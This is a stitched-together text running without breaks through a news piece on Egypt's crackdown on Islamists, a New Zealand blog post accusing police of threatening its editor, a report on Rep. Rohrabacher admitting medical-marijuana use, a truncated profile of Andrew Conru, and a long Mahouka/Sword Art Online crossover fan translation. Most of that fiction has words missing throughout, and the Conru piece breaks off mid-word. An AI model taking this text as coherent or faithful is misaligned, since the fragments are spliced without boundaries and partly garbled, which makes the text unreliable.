“Repression doesn't work. Of course repression doesn't work. But it is the vanity of power,” said public policy professor Emad Shahin of The American University In Cairo.
Shahin thinks military leaders, who boast massive popular support, are seizing the moment for a final showdown with their long-time foes. "They think that the plan by which they managed to charge, to mobilize the anger of people against Morsi's rule and administration and so on, has gained a momentum and it really is time to break down the Islamists,” he stated.
The military's “war on terror” is being waged against the broad spectrum of Egypt's Islamists, from peaceful protesters to armed militants. The jihadist core is based in the Sinai peninsula and enjoys little popular support, but their attacks appear to be spreading.
Mustafa Labbad, director of the Al Sharq Center for Regional and Strategic Studies, believes they can be contained. "According to balance of power, I don't think we have a civil war. We have a conflict, and it would last for months to come, but balance of power is clearly in favor of the military," he said.
The spirit of defiance unleashed in Egypt's 2011 revolution may prove a more formidable challenge. Emad Shahin points to an widely-seen image.
"Imagine this 16-year-old girl, her photo is everywhere, that raised the sign of Rabaa in front of an entire school, in front of the state security guy in the school trying to intimidate them. A single girl is not intimidated. That's the culture of protest that they cannot break,” said Shahin.
For now, the majority is still throwing its support behind the military against its opponents. But Labbad says there are questions of how long that can last.
"After a while you have to solve your social and economic problems, and it wouldn’t matter if you are wearing a uniform or casual wear. If you are in power, you have to solve these problems.”
Repression against one group may be possible, analysts say. But in protest-ready Egypt, which toppled a repressive leader in 2011, and saw mass rallies against its now-ousted president this year, trying to keep down a larger movement is hard.The Daily Blog has had to censor this image due to threats of imprisonment by NZ Police
At 12.57pm today I was contacted by Campbell Moore from NZ Police Public Affairs threatening me with 6months imprisonment and $5000 fine for parodying their Roast Buster Rape inaction.
We have been forced by this threat to censor the parody and believe this is a woeful action by a Police Department under immense pressure to justify their sexist inaction of sex attacks against women that this blog has been highly critical of.
The irony is not lost on me that if I had been bragging about rape, I wouldn’t be arrested, but parodying the inaction of the NZ Police sees me threatened with 6months imprisonment and a fine of $5000.
I find their bullying to be extra disgusting in light of my current complaint against them with IPCA over their bullying and threats that led to the suicide of medicinal cannabis activist, Stephen McIntyre.
I would have thought the NZ Police would be more focused on prosecuting rapists than threatening blog editors with imprisonment for parodying their appalling inaction.
I thought wrong.GOP U.S. Congressman Admits Medical Marijuana Use
By Russ Belville - May 24, 2016
WASHINGTON, D.C. – Speaking to an assembly of cannabis activists, a sitting Republican US Congressman admits medical marijuana use personally to treat arthritis pain.
Congressman Dana Rohrabacher (R-CA) was one of five members of Congress to address the gathering of activists representing the National Organization for the Reform of Marijuana Laws (NORML).
Rohrabacher was the only Republican of the five to speak on the federal issues concerning marijuana legalization nationwide. He told the activists how he has been a surfer for over three decades and how the sport has taken its physical toll on him.
“I haven’t been able to go surfing for a year-and-a-half and I’ve been in severe pain,” Rohrabacher explained, while trying to demonstrate the paddling motion surfers use to get out into a wave, “because I spent all this time doing that, which I can barely do now.”
Rohrabacher said he didn’t regret the toll surfing had taken on his shoulder, especially if we can do something about it.
“I went to one of these hempfests in San Bernardino,” he continued, explaining a vendor who showed him a cannabis-infused topical preparation to run into his aching shoulder. “And you know what? I tried it about two weeks ago, and it’s the first time… in a year-and-a-half that I’ve had a decent night’s sleep, because the arthritis pain was gone.”
After the applause from the activists subsided, Rohrabacher confirmed that it was a medical marijuana product he tried.
“Now don’t tell anybody I broke the law,” he sarcastically confided, “They’ll bust down my door and, you know, and take whatever’s inside and use it for evidence against me. The bottom line is that… there’s definitely cannabis in there, and it makes sure that I can sleep now.”
Stunned by the admission, NORML Executive Director Allen St. Pierre tells Cannabis Radio News that Rohrabacher’s staff told him this is the first time they’ve heard the congressman make a public admission of his medical marijuana use.
“This is definitely the first legislator in Congress in at least thirty-some-odd years who has acknowledged to using marijuana illegally,” said St. Pierre. “Back in the 19-early-80s, there was a congressman, Stewart McKinney… and he and a guy named Newt Gingrich introduced a bill, and it was all about his [McKinney’s] need to use medical marijuana, even back in the 1980s.”
Other members of Congress addressing the NORML activists were Democrats Sam Farr (CA), Earl Blumenauer (OR), Jared Polis (CO), and Suzan Delbene (WA), all representatives of the states that recognize legal adult use of marijuana.
This post has been updated to include audio from members of Congress and Allen St. Pierre and to correct the misspelling of Rep. Delbene’s first name.Conru in 2000. Image: John Chapple/Getty
Before he started the first site for online dating, Andrew Conru had started one of the first companies that made websites for the newfangled World Wide Web back in 1993. The venture was named Internet Media Services, of course.
"I had people calling me up and asking 'Are you the internet?'" the 48-year-old engineer told me. "And we said 'Yeah,' and tried to sell them some of our services. We were the only company in the Yellow Pages with the word 'internet' in it."
The internet has changed a lot over the past 25 years, and Conru had a front row seat. In what he calls "being in the right place at the right time," he started Web Personals in 1993 while doing his doctorate at Stanford University, seated in the same classroom as "the guys from Yahoo and Google."
Conru first helped work on the website for his small department at Stanford's Center for Design research, which inspired him to launch Internet Media Services with roughly 10 to 15 employees—all at a time when few people knew what the internet was.
A year later, Conru started Web Personals, arguably the first online dating site ever, which was run by a group of Stanford grad students and one bright-eyed high school kid. The idea struck Conru in his dorm room as a way to kickstart his love life after a breakup—as he quickly realized, he was stuck in an engineering program full of men. "The odds were bad and I had to look elsewhere," said Conru.
He tried newspaper personals, which requires making abbrev |
「」, Activation Sequence number five was 「Regrowth」(however, he could use these three comfortably, even without the assistance of the CAD). And, Activation Sequence number one, the default, was 「」.The beam-turnedbullet successfully hit theshounen――making a hole in the centre of the shounen’s chest!In the real world, Tatsuya’s 「Phantom Blow」did not have the power to deal fatal wounds. At best, it could stop the opponent’s movement for about a second. When he experimented at the very beginning, he made a deep hole in the tree’s trunk, but it seems like he didn’t get abonus from the. It probably didn’t have anything to do with the original magic power, but was instead represented as another spell that had fixed power, was what Tatsuya thought.However, it was still useful. For the time being, it became the alternative for 「Decomposition」..”Time was needed to utter the, so it seemed like it would be difficult to use in close quarter battles, but it would be an effective weapon in medium to long range.(It’s necessary to verify the effective range.)He pierced the other mage with abullet, then fired 「Phantom Blow」 at the remaining two heavily armoured swordsmen in succession.The attack went through the armour without a hitch. However, it was not able to go through their shields.(This also requires attention, huh.)Seeing the results of his experiment, Tatsuya defeated the swordsman, who was defending himself from thebullet with his shield, with aandTatsuya left the shounen, who couldn’t move as his leg was injured, as he was.That day, no more visitors came. Using this time, Tatsuya, alongside Miyuki, spent the rest of the day verifying the abilities of usable magic in the back yard, until it was dark.There were three things they figured out.The first thing was that the variety of usable magic was considerably limited. Although they had already known that, the magic that Miyuki could use were only: vibration-type magic that affected heating and cooling and healing magic composed of movement, convergence and absorption; the magic that Tatsuya could use were only the Non-Systematic Magic that directly operated. Moreover, they didn’t actually invoke magic, but reproduced it under the appearance of specific spells. Excluding a few spells, the effectiveness of magic was also reproduced, so it was safe to say that it was 「useful」.The second thing was that the, whichTatsuya and Miyuki’s magic in this world, and thethatthe magic the red-mages used, were somehow completely different things. The explosion that occurred when thebullet hit the fire spear seemed to be anhighlighting anthat was caused by the conflict between different. It seems that the error was perceived as an explosion by Tatsuya and the others within the world created by theAnd the third thing was that the range of magic was clearly established. There was a slight difference in the range due to the variety of magic, but in general, it was around thirty metres. And so, should any magic exceed that distance, it won't reach the intended target. Tatsuya thought that thiscondition was the result of the influence of his opponents’ electronicaffecting the function of theFor the time being, the experiment to confirm the difference between real magic and the magic of this world yielded satisfactory results. Although he thought that the game space was somehow more lacking compared to reality, he felt that it was foolish to bring real physical ability into the game. At the very least, players who were unsatisfied with this probably did not bother to play this game, was what Tatsuya understood after thinking it over.As mentioned previously, one would not be affected by physiological phenomena in this world. In more accurate terms, emission of waste products yielded by biochemical reactions did not occur. Tatsuya noticed that the effect was particularly thorough this time. He recalled sweating in the theatre space that they were dragged into last year. But this time, even that did not exist. Come to think of it, blood didn’t appear even when skin was cut. Based on this, it seems only natural that even sweat is not produced.Therefore, there was no need to go into a bath to wash away sweat, but Tatsuya was dirty due to the dust that he gathered when he rolled on the ground during the battle. And besides, this world was cold. There was a desire to bathe in order to warm up his body.The mansion was also furnished with a bathroom. A wooden bench was placed in a wet, sprinkling water on heated stones-type. Judging that no more visitors would come as the sun had already set, the siblings decided to postpone their meal and take a bath first.Tatsuya drew enough water from the well to fill the bucket.Miyuki used magic to heat a pile of big stones. There were two buckets of water, and they were even big enough to use as bathtubs, so Miyuki only heated one of them to a suitable temperature.Neither soap, nor thefor washing one’s body could be found, but it was a virtual world where there was no need to worry about sebum in the first place, so it was an imitation bath where they only cared about warming up their body and clearing away the dirt. Both siblings were of the opinion that just awas sufficient.“Onii-sama, after you.”“No, you should go first. You’ve been standing outside, where it was at least as cold as midwinter, until dusk. Your body must be cold, right?”“No matter how you look at it, you’re the dirtier one, Onii-sama. Or should I rinse your back?”Tatsuya immediately raised his white flag at the mischievously smiling Miyuki. Although she had said it jokingly, he felt signs that if he left it alone, she would seriously do it.A steam bath was basically a thing that stimulated perspiration, but in this world where one would not sweat, one could only hope that the steam loosened the dirt, making it easy to wash off. That’s why it wasn’t a futuristic style of bath where Tatsuya would bask in steam many times over while (11), so, after warming up his body, he only washed away the dirt with water and got out.An incident occurred afterwards.While Miyuki was bathing, Tatsuya relaxed in front of the fireplace. Although he thought 「She’s taking her time」, Miyuki has always been the type to take her time in baths. They have been in a world that didn’t even have any form of entertainment for two days and, moreover, Miyuki didn’t move with her body like Tatsuya in the. She’s probably venting herby bathing, was what Tatsuya thought until that moment.The moment when he heard unnatural sounds coming from the bathroom.It was a faint sound. Tatsuya recognised it as the sound of a bucket falling, but as he considered the distance to the bathroom and that the door was shut, he realised that is must have been really loud. It wasn’t like the usual Miyuki to be so careless as to make such a noise.Suddenly realising this fact, Tatsuya stood up in a haste. With the same haste, he ran to the bathroom. He rushed into the dressing room, and called out to her from beyond the door.“Miyuki, did something happen?”Thinking that her hand had simply slipped, his first question was asked calmly. But, as he feared, there was no answer from within.“Miyuki, are you alright!?”After a bit of hesitation, Tatsuya opened the bathroom door. A large amount of steam gushed out and obstructed Tatsuya’s field of vision. When the steam dissipated, Miyuki feebly lying on the bench, and her fair skin blushing like a peach was what came into Tatsuya’s view. Tatsuya’s bad premonition proved to be accurate.Although this also applies to bathtubs,are specifically intended to stimulate perspiration to make one feel refreshed. And that’s the bath-loving Miyuki’s passion. She undoubtedly got into the bath with this intention this time too.However, in this place, neither Tatsuya, nor Miyuki sweat. That is probably not something restricted to the two of them; there probably isn’t a function for the avatars of this world to sweat.In other words, no matter how long one basked in steam, they would not sweat. Miyuki, who carelessly ended up forgetting this, kept persisting with 「just a bit more」「just a bit more」 until she passed out due to the heat. Simply put, she had a heat stroke due to being in an airtight environment with high temperature and humidity levels.Was it Miyuki having collapsed, or was it thethat should have been draped around Miyuki’s body completely coming off that upset Tatsuya’s eyes? Luckily, thehadn’t completely fallen down - it still barely covered the most important place to conceal. Although this meant that the worst case scenario was avoided for now, he shouldn’t feel comforted until he made sure that the 「worst case」 could not take place.Leaving that out, Miyuki had passed out and collapsed. And Tatsuya neither had the time to waste by hesitating, nor by feeling lost.(There are neither sweat glands, nor blood vessels, so how can you get a heatstroke!?)There was no point in complaining about the irrationality of the situation in his mind. From the beginning, this place was an irrational, artificial world. Even if corners were cut in the heatstroke reproduction, the whim of precisely imitating these symptoms was still carried out. Right now, the symptoms of fever syncope was only being imitated, but who knows if the heat cramps and the heatstroke accompanied by brain dysfunction would beon Miyuki’s avatar.Tatsuya tried his best to ensure that he wouldn’t touch Miyuki’s body――it was impossible to completely avoid touching her――by draping aaround his sister, and proceeded to pour water from the bucket on her from her scalp to her toes. Then, he lifted the sopping wet Miyuki into his arms. Tatsuya left the bathroom and faced the room that he used as a bedroom. Not minding that the bed became wet, he opened the window without closing the door.A cool wind blew in, reducing the temperature in the room. After touching the nape of Miyuki’s neck, he confirmed that her body temperature had visibly decreased compared to earlier. As there was no sweating, hydration shouldn’t be necessary, but it wouldn’t hurt either. Considering this, Tatsuya closed the window and went to get a jug of water.The first thing that Miyuki felt was a sense of security.(Smells like Onii-sama……)In actual fact, what she perceived was not body odor, but Tatsuya’s residualthat remained due to using this bed overnight. Being a Spirit Interference Systematic Magic user, Miyuki perceived smell in addition to perceivingwave motions, although she usually didn’t use it to avoid being misled by the excess. That 「sense of smell」of hers perceived her brother’s residualas 「her brother’s scent」.Although she wanted to fall asleep wrapped in this absolute tranquility, her consciousness was immediately brought back to reality by the unpleasant moisture.(Why is the bed so damp……?)The expression ‘damp’ was very moderate, considering that the bed she was lying in was soaking wet.As she tried raising her body, she recognised what kind of clothes she was wearing through feeling the wet cloth touching her skin. She tried screaming, but couldn’t find her voice.(Why? Why? WHY!?)She saw herself wearing a loosely wrapped, before that noticing that it only wrapped around her back and came together in the front, and that she was lying in her brother’s bed. The grief and joy greatlyMiyuki, and snatched away her ability to think normally.“Miyuki? Oh thank goodness, you’re awake, huh……”She shifted her eyes towards the voice that came from the room’s entrance. Even though this was a dark room, for some reason Miyuki’s eyes clear saw the silhouette of her brother. Tatsuya gave a relieved expression with a jug of water in his hand.“ONII-SAMA, WHY!?”With her thoughts still in disarray, Miyuki raised her body, grasped her breasts, and shouted inat Tatsuya.Being suddenly shouted at by Miyuki, Tatsuya blinked. Considering that she was half asleep, her shout had surprising force.“Onii-sama, Miyuki feels sad! Even though I wouldn’t have refused no matter what it was if you wished for it, Onii-sama!”I wonder what on earth is this sister of mine misunderstanding……That was the onlythat was output to Tatsuya’s consciousness. Having been assaulted by an ambiguous shout, the intelligent Tatsuya had his thoughtsat this point.“Just, just say the word! Miyuki would happily let you, Onii-sama, have this body and…”“No- wait a second Miyuki!”Feeling that his sister was about to blurt out a line that wasn’t really proper, Tatsuya somehow managed to successfully interrupt it. Although she ended up being in a hurry, fast-talking to an extent where it was hard to comprehend what she was saying, Tatsuya felt that he wanted to praise himself that he didn’t hear the continuation of the 「and」 (12) However, the situation was not resolved yet.“You collapsed in the bathroom.”Not giving time for Miyuki to counter, Tatsuya revealed his trump, the truth, onto the“……Wha?”The results were instantaneous.Miyuki’s violent emotions disappeared at once as she stared at Tatsuya with a dumbfounded expression.Using both of her exposed arms and shoulders, she barely concealed her chest.It would definitely end badly if she didn’t regain her senses as soon as possible, so Tatsuya, thinking that it was a bit pitiful, explained in detail how they ended up in this situation.Miyuki’s face, which was initially blushing in excitement, turned pale before Tatsuya’s eyes. Around the time when Tatsuya finished explaining up to the part where he laid her in bed and went out to get a jug of water, Miyuki’s face completely lost its complexion. ――Reflecting her emotions, her face turned pale.“I am terribly sorry!”Miyuki suddenly prostrated on the bed. Assuming that she was going to apologise in the honourable, highest-degree, her hands would of course be horizontally brought in front of her face. And then there wouldn’t be anything holding thein its place.“For my repeated rudeness! And I didn’t just caused you trouble, Onii-sama, I also held false doubts about you, spoke ill of you and so on, Miyuki is――!”“Don’t worry about it! I’m not worrying about it either!”Tatsuya looked away when Miyuki moved her hands away from her breasts, so he didn’t see her actual appearance, but unfortunately, even though he didn’t physically see it, he knew what was going on. He ended up imagining his sister’s nakedness, but instead of sneaking a peek, Tatsuya seemed to be embarrassed.“I’ll go to the living room, so you get dressed properly before coming over.”Tatsuya informed her with a forcibly composed voice. Without turning his face towards Miyuki, he explicitly270 degrees, with one of his eyes closed――specifically, he closed his right eye so that the bed on the right side from his current position would not enter his field of vision, and went towards the room’s exit at a quick pace.Tatsuya of course did not see Miyuki energetically stand up, pressing on the chest of her well-rounded figure with both hands. However, right now, Tatsuya clearly imagined an evocative scene of his own creation (13), to his curse. This was originally a technique to compensate forness in the midst of battle, so he had no need for it to activate in this situation, and he wanted to stress this in a loud voice.Finally, Tatsuya stepped out of his own room. As the thick wooden door muffled the scream of embarrassment surging from behind him, Tatsuya hastily dashed towards the living room.It was the morning of the third day in the dream-space virtual-world. Tatsuya opened his eyes after hearing sounds that hurt his ears outside the window.(We’re still not back……)The same imaginary bedroom he saw yesterday once again reflected in his eyes. Confirming that he was still trapped in a dream world, Tatsuya had an urge to sigh.(As I thought, it seems that we cannot wake up if we don’t deal with theanda necessary……)However, fighting on its own was useless, and even the happening with his sister that he didn't want to remember did not fulfil the necessary requirements.(No, could last night even be considered a necessary event in the first place?)Assuming that it really was a simple…… thinking so, he wouldthis world without thinking about the consequences.(Even if it was a requirement that needs to be, it is probably useless at any rate…… though, what’s with the noise this early in the morning……)The sky was covered by thick clouds, so it was impossible to know the time based on the position of the sun. Therefore there was the possibility that it was already forenoon, instead of 「early in the morning」, but Tatsuya was in a inimitable mental state of wanting to sleep just a bit longer. ――Last night’s event was enough to have him mentally worn out.However, even as he idly complained about it in his mind, he got out of hiswhich, for some reason, lacked moisture and was softly heated. He then quickly put on his clothes and armour, equipped hisandto his waist, and left the bedroom. At the entry hall, Miyuki was waiting for him while holding the spear that he used.“Morning, Miyuki.”“Good morning, Onii-sama. Did you sleep well?”Tatsuya sighed in relief that Miyuki, at least on the surface, wasn’t obsessing over last night.“Yeah, I was able to rest well.”Tatsuya knew that the reason why there were no traces of hishaving been wet was because Miyuki used her limited magic to dry the bed.“That’s good to hear.”Although Tatsuya was worried if he hinted that, Miyuki would remember last night as a consequence, but luckily, it seemed that she got over the accident. Tatsuya slightly sighed in relief at that. He learnt from last year’s experience that anwould drag on forever and make them feel awkward emotions.“I have made the preparations for breakfast.”“I’ll get this over with as soon as possible.”Tatsuya responded to Miyuki’s banter (?) with his own, but for some reason he felt that it wouldn’t be resolved that easily. ――On the contrary, he had a premonition that the pointless commotion would finally come to an end with this.“I wish you luck. Just in case, I’ll be cheering you on.”For some reason, Miyuki probably felt that this would be the. He could feel seriousness in her formal tone.“You probably won’t need to go to such trouble. See you later.”After being seen off by Miyuki who bowed elegantly, Tatsuya opened the door that led outside.(It’s two parties this time, huh?)The reason for Tatsuya’s judgment was an obvious outward difference between the twoOne of them was the already-familiar fully red-coloured group. However, this time it wasn’t a shounen, but a seinen (14) …… or perhaps a grown up male, covered in noticeably flashy red spirit particle light, who was leading theAnd the other one was…… a party rich withThe seinen (?) with the face of a wandering samurai and who appeared to be the eldest was of course clad in red. However, the other six were clad in different colours. Light blue, black, golden tinged with green, pink - their hair and clothes were of various colours, and they even came with a cat-ear. And most of all, even the point that there were females mixed in differed.No, this expression was probably incorrect. Based on the number of people, rather than females being mixed in, it would be more accurate to say that a seinen and a shounen were mixed in among the females. Or perhaps, a shounen leading five beautiful girl bodyguards――according to a certain acquaintance who likedgames, the expression「of beautiful girls」 seemed to be suitable――as well as a guardian of the girls, or something like that?After he glanced back and forth between the twostanding a small distance apart from each other, Tatsuya called out to the well-built seinen leading the red group.“Are you in the mood to talk? Or do you see no point to it?”Were Tatsuya’s words very unexpected? Both, the red army led by the seinen and the beautiful-girl bodyguard groupled by a shounen, began discussing something. Tatsuya could not hear what they were saying from where he stood, but it seemed that the commotion calmed down to a conclusion of leaving it to the, and the red seinen and black shounen exchanged glances.The seinen placed his hand on his sword handle.While gesturing 「now now」 with his hands to calm him down, the shounen nodded with a bitter smile that said 「I know」.With just 「If you know that, then it’s fine」, the seinen moved his hand away from the handle.The result of the discussion viaand, was that the black shounen opened his mouth to respond to Tatsuya’s question.“I’m Kirito. And you are?”As the shounen clad entirely in black named himself, the bodyguardsbehind him looked as if a question mark, implying ‘is he befriending him’, appeared on their faces. It seems that the shounen’s actions were unexpected even to his allies.Before Tatsuya could answer, one among the shounen’s group, the pink-haired girl puffed 「pu」. 「What d'ya think ya’r doing?」 was written on her face.However, although his speech and actions were unexpected to the girls, to Tatsuya, it was finally a normal response that he received. But, unfortunately, in these circumstances, Tatsuya could only reply with a not-so-ordinary answer.“In this place, I don’t know what name I should be called.”Behind the shounen calling himself Kirito, the pink-haired girl who could be mistaken for a merry drinker puffed again. What a show off-like line, is what she undoubtedly thought. After all, even Tatsuya himself felt that it sounded like that.However, Tatsuya didn’t have any better reply. Even if he gave his real name, it didn’t seem significant. Because he ended up as an 「actor」trapped in this 「play」.He had the role of the villain who obstructed them from kidnapping Miyuki who had been given the role of Gerðr. If his relation to Miyuki as a brother is emphasised, then his official title is Gerðr’s older brother Beli. But, if his role to hinderis emphasised, then he is Gerðr’s father and the lord of the mansion, Gymir. Having thought this far, Tatsuya came up with a question.“If your name is Kirito, then this time Skírnir is that seinen?”“Skírnir?”The one who asked the question was the golden-haired girl.“I am Eugene of the.”At Tatsuya’s question, the red seinen answered with his name. After hearing it, Tatsuya inclined his head to the side.? Fire spirits? ……Oh, could that be your’s name?”All the people facing Tatsuya exchanged glances among their respective groupmates.-san.”The black Kirito-shounen called out to Tatsuya. Accepting 「」as his designation, Tatsuya turned his eyes towards the shounen. Although Tatsuya carelessly hadn’t noticed until now, a child-girl who had grown wings, more accurately an existence that could only be called a, was standing on the shounen’s shoulder and whispering something near Kirito-shounen’s ear.“I can’t believe it’s possible, but are you a?”To this question, Tatsuya didn’t reply, but instead asked a question.“What do you mean by?”Kirito-shounen and Eugene-seinen, who was lined up behind him and had heard the question, frowned in suspicion. They were probably unable to understand the meaning of the question. Of course they had no intention of sparing Tatsuya from the labourious task of explaining.“If you’re asking it with the meaning of a person who plays under theof their chosen role, then I am not a. Because I am here not of my own will.”Tatsuya could hear 「Is he really an NPC?」 noises among the, but Tatsuya ignored it. Although theNPC treatment from yesterday continued, compared to yesterday’s group of shounen who couldn’t even see the purpose of the conversation, today’s conversation was much better.And besides, Kirito-shounen didn’t agree with the judgement that Tatsuya was an NPC. The reason why he wanted to continue the conversation was probably because he felt goodwill from him.“Kirito-kun…… if you don’t mind me calling you that, may I ask you a question?”Without waiting for Kirito-shounen to nod, Tatsuya threw a question at him.“You are all, right?”The swordsman clad entirely in black exchanged words with the girls and the red wandering samurai behind him in a whisper, then turned around to face Tatsuya again.“Yeah. We areof.”…… That is arealised viatechnology, am I right?”“……Yeah.”“Just as I thought, it’s, huh.”An expression of understanding, then admiration, appeared on Tatsuya’s face.“However, constructing a VR environment that completely reproduces vision, hearing, and sense of touch with justtechnology, and also sharing all of it over the network……It seems that the technology of your world is far more advanced than ours.”“……What?”The deepest colour of confusion so far dyed the shounen’s face. Tatsuya noticed this, but did not raise the issue.“I’m not too knowledgeable about, but what brought you here was obviously a, right?”The easily noticeable, beautiful girl with long, light blue hair standing right behind the shounen asked the black swordsman, no the pixie riding on his shoulder 「Is this person really not a player?」. Unfortunately, the pixie’s answer didn’t reach Tatsuya’s ears.“That’s right. We accepted Frey’s request and came here to bring Gerðr back.”At the black shounen’s line, this time Tatsuya became confused.“Bring her back? Gerðr has already married Frey? In that case, you’re not Skírnir?”This time, the gold-tinged-with-green haired girl spoke to Kirito-shounen.“Onii-chan, this person seems to have the wrong idea, as he thinks that we came for a different.”“Different?”Ignoring Tatsuya, the black shounen began a conversation with the green and golden-haired girl, but as it was something that Tatsuya also wanted to know, he continued pricking his ears.If their conversation was summarised, it would sound like this.In the timeline of this world, Frey and Gerðr had already got married. And, for some reason, Gerðr seems to have passed away. Not giving up on his dead wife, Frey proclaimed that he would reward subordinate fairies who recovered Gerðr from Niflheimr; that was the whole story.(Hey hey…… Skirnir’sand Hermóðr’s horseback ride to the realm of the dead were mixed together. In that case, taking Miyuki and going to Frey’s residence is the condition for returning to the real world?)“Kirito-kun.”Understanding the main points of his circumstances, Tatsuya threw a question out of curiosity.“What did Frey say he would give as a reward? After marrying Gerðr, the 『Sword of Victory』 should no longer be in Frey’s hands.”“The 『Skíðblaðnir』 (15). That ship is needed for the next.”The greenish golden girl with a sullen voice that was probably angry interrupted Tatsuya right in the middle of hischat with the shounen and answered Tatsuya’s question.“That’s right.”Eugene-seinen who had entrusted Kirito-shounen with the opponent Tatsuya until now had enough waiting around, drew his sword and took a step forward.“You’d better obediently hand over Gerðr. Or else……“At the open threat, Tatsuya’s eyes quickly narrowed.“Eugene-san, wait!”The one who interrupted this explosive atmosphere was the girl with the long, light-blue hair. She intercepted Eugene-seinen from the back, then turned her eyes towards Tatsuya.“I am Asuna.”For some reason, thegroup went into a stir after hearing that self-introduction. Various mutters such as 「Is that……」, 「It’s the first time I’ve seen the real thing……」, 「She’s cuter than in the two-dimensional」, 「Wha, theis such a beauty?」 leaked out, but Tatsuya ignored their voices, which gave him a strange sense of deja vu, without showing a wry smile.“Asuna-san, huh. So?”“……-san, would you allow us to speak with Gerðr?”It seems that the reason why the girl named Asuna hesitated for a moment was because she was at a loss on how to address Tatsuya. ――In the end, she seems to have decided to follow her lover’s (?) lead.“This is just absurd!”From behind Asuna-jou, Eugene-seinen’s displeased voice could be heard.“That is not a. That thing is an NPC. He’s neither amicable, nor neutral, he’s an antagonistic NPC, an! Is there any room for negotiation?”“Although you call him antagonistic, weren’t you attacking him before he counterattacked in return? Even if he’s not a, that person has his own will. I don’t think that discussion is impossible.”Asuna-jou now turned her back to Tatsuya. She was completely full of openings, and moreover, there was no one on her side; such a state could not be called being vigilant. Could this mean that she was putting her faith in him? Tatsuya thought so.If they had the intention to hold a discussion with their opponent, even Tatsuya wasn’t reluctant to reciprocate. Returning to reality was his first and only goal. Hence a stalemate was extremely undesirable. As Miyuki meeting with 「Frey」 could possibly be ancondition, from Tatsuya’s perspective, Asuna-jou’s proposal had plenty of room for consideration.However, it seems that theirwasn’t this peaceful.“If he has his own will, then that’s all the more reason discussions and the like are impossible. He dealt with eighteen of my comrades just yesterday. His cruel way of killing was to break one of my men's leg in a no-flightand leave him in that condition to freeze to death!”“……He couldn’t use? What about potions?”“I heard that the ones who could use magic were killed off the first.”It’s probably natural as this is just a, but it seemed that yesterday’s shounens had been safely revived. Having heard Eugene’s words, that’s the only thing that Tatsuya thought about.“Using up one’swas his, but even so, I don’t expect a discussion with a guy who left him alone with neither a finishing blow, nor treatment, to be feasible.Tatsuya also had something to say. He thought that expecting treatment and the like while one-sidedly attacking him was asking too much, but if his opponents judged that 「a talk is impossible」, then he had no choice but to accept that it was true.“As we had arranged, Kirito, my group is doing it first.”The person that the red seinen was talking to was the black shounen.“Asuna, stay back. Pushing our way onto Eugene is against the.”At Kirito-shouen’s words, Asuna-jou stepped to the back while having the hair on her back pulled from behind.“You've been kept waiting, Beli.”I see, it seems that Eugene-seinen had heard from yesterday’s shounens that Miyuki called Tatsuya 「Onii-sama」. However, in that case, there wasn’t a cooperative relationship between Eugene-seinen and Kirito-shounen. If there’s one reward, it would more likely be a competitive relationship. And yet, it was very gentlemanly of him to discuss and decide their turns, was what Tatsuya felt. And he even felt envious. To them, fighting was probably just a game. Tatsuya couldn't help but feel a bloody intent for a world which felt so close to real world yet, but he hoped that it was just an absurd fear.“I’ll say it again. Hand over Gerðr. Or else.”“No.”Tatsuya dismissed Eugene-seinen’s words. It would be one thing if he said 「Let Miyuki meet Frey」, but as he said 「Hand over Miyuki」, there’s no way that Tatsuya would agree.It seemed that Eugene had no intention of continuing the dialogue any further either. Even Tatsuya didn’t expect a serious discussion to arise. However, an unexpected thing did happen.“Are you fine on your own?”“Don’t you lump me in with thosethat haven’t even grown hair yet! I’m going to bring you down in a one-on-one fight!”Eugene-seinen fiercely jabbed at Tatsuya. Just as he had proclaimed about the difference in his status, the seinen’s swordsmanship was on a different level from yesterday’s shounens. Even the two-handed sword in his hands looked like a unique holy sword or magic sword.On the other hand, the spear handle that Tatsuya had to fight against it was just an ordinary wooden one that, far from having an iron core, didn’t even have leather wrapped around it. If he was directly struck by the seinen’s slashing attack, it would probably end up easily being broken or sliced.Tatsuya had no intention of being directly struck by such a heavyweight-class attack. Matching his, Tatsuya rotated the spear, using its handle to block the centre of the two-handed sword, avoiding a direct hitof the linear slash. Aiming the spearhead at his opponent's feet, he ensured that Eugene wouldn’t be able to assume a proper stance.Based on what the group of shounen from yesterday had said, they were used to in-flight battles. As proof of that, Eugene-seinen’s footwork wasn’t as polished as his swordsmanship. To be honest, he judged that Eugene’s technique of manipulating an unsheathed sword was better than his own. But as for footwork and other motions with one’s feet on the ground, Tatsuya was more or less superior.Irritation appeared on the seinen’s face. He was probably more annoyed about not being able to assume a proper stance than his attack not reaching its target. Additionally, Tatsuya found something like a habit in the seinen’s fighting style. Eugene-seinen had a tendency of trying to find the opportunity clash their blades, or to strike the opponent’s shield with his blade.When Tatsuya intentionally showed an opening, Eugene-seinen struck with a powerful blow from an irrational posture.Tatsuya, dodged and then stepped forward towards the shounen with a seemingly defenceless stance after his sword was swung horizontally.The red seinen laughed while giving a wide grin.Despite his broken posture, the shounen slashed his sword back from the right to the left with the power of just one arm.A prone postured slash. In that case, Tatsuya would probably be able to stop it, even with his simple spear.However, Tatsuya did not block the seinen’s sword with the handle of his spear.He let go of his spear and used his left hand to strike the right wrist of the sword swinging shounen.The sword that sprung from the seinen’s hand grazed Tatsuya’s back.This alone tore Tatsuya’s leather armour to pieces.The blade reached beneath the armour. However,, it would have only slashed the skin. Tatsuya didn’t mind a wound that would not bleed.By striking with his right hand, he grasped the seinen’s left wrist, and moved his right palm under the opponent’s chin.While pulling his right hand, Tatsuya kicked the back of his opponent’s right knee with his right heel, twisted his body to the left, and wrapped around the large build of Eugene-seinen.A variation of an osoto makikomi (16). The difference from aosoto makikomi was kicking the back of his opponent’s knee with his heel, instead of tackling with his leg, and not being stuck to his opponent. Then he twisted his opponents neck while pushing the collarbone, and struck his head towards the ground.――With a tremor, the two fell to the ground on top of one another. Tatsuya was on top, while Eugene-seinen at the bottom. Tatsuya’s right hand still grasped Eugene-seinen’s jaw.There was no sensation of the breaking neck bones.However, there was indeed a reaction.Tatsuya stood up, Eugene-seinen didn’t.He was still breathing. The seinen opened his eyes wide and fainted.While it was still as silent as the grave, Tatsuya picked up his spear and pointed its tip at Kirito-shounen.The shounen’s body was enveloped in impenetrably black spirit-particle lights. The black swordsman drew his sword.Asuna-jou extended her hand to Kirito-shounen, but the golden girl and the pink-haired girl stopped her.In order not to trip over the collapsed Eugene-seinen, Tatsuya moved ten steps while in a hanmi stance.Kirito-shounen followed Tatsuya by cautiouslyTatsuya stopped moving, and Kirito-shounen stopped moving.The next moment, Kirito-shounen faced Tatsuya and charged at a speed that Tatsuya could not even follow with his eyes.Tatsuya immediately realised the he had underestimated the 